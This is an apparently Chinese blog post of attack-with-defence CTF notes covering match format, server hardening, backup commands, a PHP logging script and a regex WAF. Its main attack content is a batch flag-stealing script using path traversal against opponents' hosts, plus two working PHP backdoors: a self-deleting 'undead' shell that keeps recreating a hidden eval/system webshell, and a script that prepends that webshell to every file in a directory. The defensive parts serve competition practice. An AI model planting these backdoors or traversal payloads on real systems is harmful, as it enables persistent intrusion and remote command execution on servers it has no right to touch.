AWD攻略笔记

AWD真好玩

开局一张图,内容全靠编

awd.png

AWD是什么

Attack With Defence,简而言之就是你既是一个hacker,又是一个manager
比赛形式:
一般就是一个ssh对应一个web或者pwn或者其他服务,然后flag若干分钟一轮,各队一般都有自己的初始分数,flag被拿会被拿走flag的队伍均分,主办方会对每个队伍的服务是否正常进行check,check不过就扣分,扣除的分值由服务check正常的队伍均分。

AWD题目类型

题目类型

只了解web的哭了

  1. 出题人自己写的或者修改的cms,附加了一些常见web漏洞。
  2. 常见或者不常见的cms。
  3. 一些框架漏洞,比如thinkphp,flask这种。

漏洞类型

基本上web常见漏洞都会有,pwn爷爷和其他的就不清楚了。

出题人思路

一般来说比较多见的是某些cms漏洞,为了减少现场挖洞的难度,一般出题人会放置一些很明显的漏洞代码,获取一些常用的web工具(漏洞工具),等等,再放几个比较简单的洞,直接在index.php或者web根目录下放个一句话木马。

如何攻击

AWD模式的比赛跟日常的渗透测试有共同之处。

如何拿flag

一般来说就是以下两种模式:

  • 向内网一台机器发送http请求,返回请求中包含flag。
  • 又例如系统根目录下放置flag文件。

一个良好的竞赛者需要的品质

  • 快速的漏洞反应能力。因为有的时候,一些比赛放的漏洞都是网上能查到的,所以这个时候需要一个好的搜索技巧。或者是一些rec显而易见的那种。
  • 快速编写脚本的能力。因为大家的服务都是一样的,而你如果能通过比如注入的方式拿到flag,如果用hackbar一个个去弄,显然不够优雅,而且有时候特别会容易遗漏,那么这个时候写个小python脚本无疑是极好的。

如何防守

其实防守更多看的是谁比较细心。适合运维人员。

  • 比赛开始的加固阶段
    比赛开始时,当我们连上ssh的时候,我们首先应该做的是修改一下服务器密码(有时候不需要),然后把源码down下来,及时做好备份。以方便进行代码审计。然后在尽量不违反主办方赛事的原则下挂上自己的waf,以及删除一些敏感性的文件或者数据等。在比赛开放攻击的时候需要我们自己去抓流量。监控网站日志等信息,以做好应急响应。
    修改常见的一些弱口令密码,像网站后台密码等,如果能有权限对系统、web容器、数据库配置做一些更改的话,进行相应的加固操作。数据库密码一般在网站的配置文件中可以看到,对数据库做了密码更改等操作也需要修改配置文件,以保证网站能正常运行。

  • 接下来的工作
    当然是审计,审计,再审计。挖掘漏洞。

  • 当发现被攻击时
    当发现自己被打时,首先尝试还原以前的备份(记得备份当前),如果依然被打,这个时候应该跟队友分好工,查看抓取的流量以及查看服务器上是不是存在shell。

附上小脚本:

木马

各种不死马内存马啥的,都可以派上用场。这里就不展示了。

日志记录

<!-- 日志记录脚本 -->
<?php
date_default_timezone_set("Asia/Shanghai");
$ip = $_SERVER['REMOTE_ADDR'];      //记录访问者的IP
$filename = $_SERVER['PHP_SELF'];   //访问者要访问的文件名
$parameter = $_SERVER['QUERY_STRING'];     //访问者要请求的参数
$time = date('Y-m-d H:i:s', time());        //访问时间
$logadd = '访问时间:'.$time.'-->'.'访问链接:'.'http://'.$ip.$filename.'?'.$parameter."\r\n";

//log记录
$fh = fopen("log.txt", "a");
fwrite($fh, $logadd);
fclose($fh);
?>

简单的waf示例

<?php
    error_reporting(0);
    define('LOG_FILENAME','log.txt');
    function waf()
    {
        if (!function_exists('getallheaders')) {
            function getallheaders() {
                foreach ($_SERVER as $name => $value) {
                    if (substr($name, 0, 5) == 'HTTP_')
                        $headers[str_replace(' ', '-', ucwords(strtolower(str_replace('_', ' ', substr($name, 5)))))] = $value;
                }
                return $headers;
            }
        }
        $get = $_GET;
        $post = $_POST;
        $cookie = $_COOKIE;
        $header = getallheaders();
        $files = $_FILES;
        $ip = $_SERVER["REMOTE_ADDR"];
        $method = $_SERVER['REQUEST_METHOD'];
        $filepath = $_SERVER["SCRIPT_NAME"];
        //rewirte shell which uploaded by others, you can do more
        foreach ($_FILES as $key => $value) {
            $files[$key]['content'] = file_get_contents($_FILES[$key]['tmp_name']);
            file_put_contents($_FILES[$key]['tmp_name'], "virink");
        }
        unset($header['Accept']);//fix a bug
        $input = array("Get"=>$get, "Post"=>$post, "Cookie"=>$cookie, "File"=>$files, "Header"=>$header);
        //deal with
        $pattern = "select|insert|update|delete|and|or|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex";
        $pattern .= "|file_put_contents|fwrite|curl|system|eval|assert";
        $pattern .="|passthru|exec|system|chroot|scandir|chgrp|chown|shell_exec|proc_open|proc_get_status|popen|ini_alter|ini_restore";
        $pattern .="|`|dl|openlog|syslog|readlink|symlink|popepassthru|stream_socket_server|assert|pcntl_exec";
        $vpattern = explode("|",$pattern);
        $bool = false;
        foreach ($input as $k => $v) {
            foreach($vpattern as $value){
                foreach ($v as $kk => $vv) {
                    if (preg_match( "/$value/i", $vv )){
                        $bool = true;
                        logging($input);
                        break;
                    }
                }
                if($bool) break;
            }
            if($bool) break;
        }
    }
    function logging($var){
        file_put_contents(LOG_FILENAME, "\r\n".time()."\r\n".print_r($var, true), FILE_APPEND);
        // die() or unset($_GET) or unset($_POST) or unset($_COOKIE);
    }
    waf();
?>



再更新:

之前也受星盟安全团队邀请,玩过几次AWD,再记录下。

比赛开始

相关条目来自郁离歌大哥的经验:http://yulige.top/?p=394

  • 0X01 改ssh密码(如果是默认的就改)

  • 0X02 dump源码
    进入/var/www/html目录下,执行命令zip -qr www.zip
    还原的时候,先进入/var/www/html目录下,再执行命令unzip www.zipunzip -l www.zip用于查看压缩文件中包含的文件。

    可恨的是原始的靶机有时候并没有预置zip命令。还是MobaXtern这种自带ftp的ssh工具好用。

  • 0X03 修改数据库密码和备份数据库

    1. 修改密码:

    set password for root@localhost = password('新密码');

    1. 备份

    mysqldump -uroot -p密码 --databases 根据配置文件确定数据库 > aaa.sql

    备份全部数据库

    mysqldump -uroot -p密码 --all-databases > /tmp/all.sql

    1. 还原

    mysql -uroot -p密码 < aaa.sql

    注意是否已经建立了数据库。

  • 0X04 拿到源码之后先D盾查杀

  • 0X05. seay扫洞(没啥大用处,一般题目代码量不会很大)

  • 0X06. 上监控脚本

  • 0X07. 审计

  • 0X08. 时刻关注流量和积分榜

  • 0X09. 写脚本批量拿分和提交

批量获取flag和提交的脚本

(视比赛平台而定)

关于自动提交flag函数中的headers,应该只要Content-TypeCookie就行。视情况而定吧,实在不能自动提交,就抓包把所有的请求头都写上。

import requests
import re

def submit_flag(flag):
    url = 'http://39.100.119.37:10000/commit/flag'
    headers = {'Host': '39.100.119.37:10000','User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0','Accept': 'application/json, text/javascript, */*; q=0.01','Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2','Accept-Encoding': 'gzip, deflate','Content-Type': 'application/json; charset=UTF-8','X-Requested-With': 'XMLHttpRequest','Connection': 'close','Referer': 'http://39.100.119.37:10000/admin','Cookie': 'PHPSESSID=7loc4cqkqudv3v0g85a0h77586'}
    data = '{"flag":"' + flag + '","token":"8c7889befd2f3bf81d23e0f0b4a9c831"}'
    print(data)
    # data1 = str('{"flag":"{}"').format(flag)+',"token":"8c7889befd2f3bf81d23e0f0b4a9c831"}' #语法错误
    req = requests.post(url,data=data,headers=headers)
    print(req.text)

def get_flag_by_post():
    for _ in range(1,13):
        if _ <10:
            _ = '0'+ str(_)
        _ = str(_)
        url = 'http://47.56.9.150:1{}80/download.php'.format(_)
        post_data = {'filename':'../../../../flag'}
        print(url)
        req = requests.post(url=url,data=post_data)
        if req.status_code ==404:
            continue
        submit_flag(req.text)
        
# 如果要处理异常,函数可以这样写(但submit_flag如果出现异常,则无法得知,推荐先用上面的函数)
def get_flag_by_post2():
    for _ in range(1,13):
        if _ <10:
            _ = '0'+ str(_)
        _ = str(_)
        url = 'http://47.56.9.150:1{}80/download.php'.format(_)
        post_data = {'filename':'../../../../flag'}
        print(url)
        try:
            req = requests.post(url,data=data)
            if req.status_code == 404:
                continue
            submit_flag(req.text)
        except Exception as e:
            print(e)
            continue

一些tip

如果遇到冰蝎马这种后门,是不能直接写脚本批量获取flag的,这时候就要尽快通过冰蝎连接shell,种下不死马

D盾扫出来的后门毕竟一下就被修复了。还需要队员进行全盘的代码审计,如文件读取万能密码绕过登录文件上传反序列化等等。拿到一个权限后,就批量打一会,再种个不死马维持一下。

不死马/内存马

保存为 .index.php隐藏文件,上传到对方服务器,然后浏览器访问去触发,就会生成 .config.php隐藏文件。
杀死进程或者重启apache会失效

<?php
unlink(__FILE__);
set_time_limit(0);  //永久执行,直到进程结束
ignore_user_abort(true);
//访问后,用户关闭url,进程不断,继续执行

$path = dirname(__FILE__);
$file = $path . '/.config.php'; //生成恶意的隐藏文件(Linux系统)
$shell = "<?php if (md5(\$_REQUEST['pass'])==='91b37b09623a404b281e69932abb97df'){@eval(\$_REQUEST['code']);@system(\$_REQUEST['sys']);exit();} ?>";

    while(true){
        file_put_contents($file, $shell);
        system('chmod 777 .config.php;');

        usleep(15000000);  //微秒级别,中间隔15秒迷惑对方
    }
?>

即使删除了.config.php,15秒后也会出现;即使删除了.index.php.config.php文件15秒后还是会出现(亲测)。
(在原作者基础上加入了目录限制)

在目录下的所有PHP文件前加木马

星盟周年庆的时候看到别人的骚思路,自己写了个类似的功能。
文件命名为aa.php
密码是不能告诉你,每次比赛都要换一下。

<?php
$shell = "<?php if (md5(\$_REQUEST['pass'])==='91b37b09623a404b281e69932abb97df'){@eval(\$_REQUEST['code']);@system(\$_REQUEST['sys']);exit();} ?>"."\n";

foreach(glob('*.*') as $filename){
    if ($filename != "aa.php"){
        $content = file_get_contents($filename);
        $content = $shell.$content;
        unlink($filename);
        file_put_contents($filename, $content);
    }
}
 ?>

只针对aa.php文件下的所有PHP文件。


next to Do:

一个好的waf一个流量审计的脚本

©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 213,417评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,921评论 3 387
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,850评论 0 349
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,945评论 1 285
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 66,069评论 6 385
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,188评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,239评论 3 412
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,994评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,409评论 1 304
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,735评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,898评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,578评论 4 336
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,205评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,916评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,156评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,722评论 2 363
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,781评论 2 351

推荐阅读更多精彩内容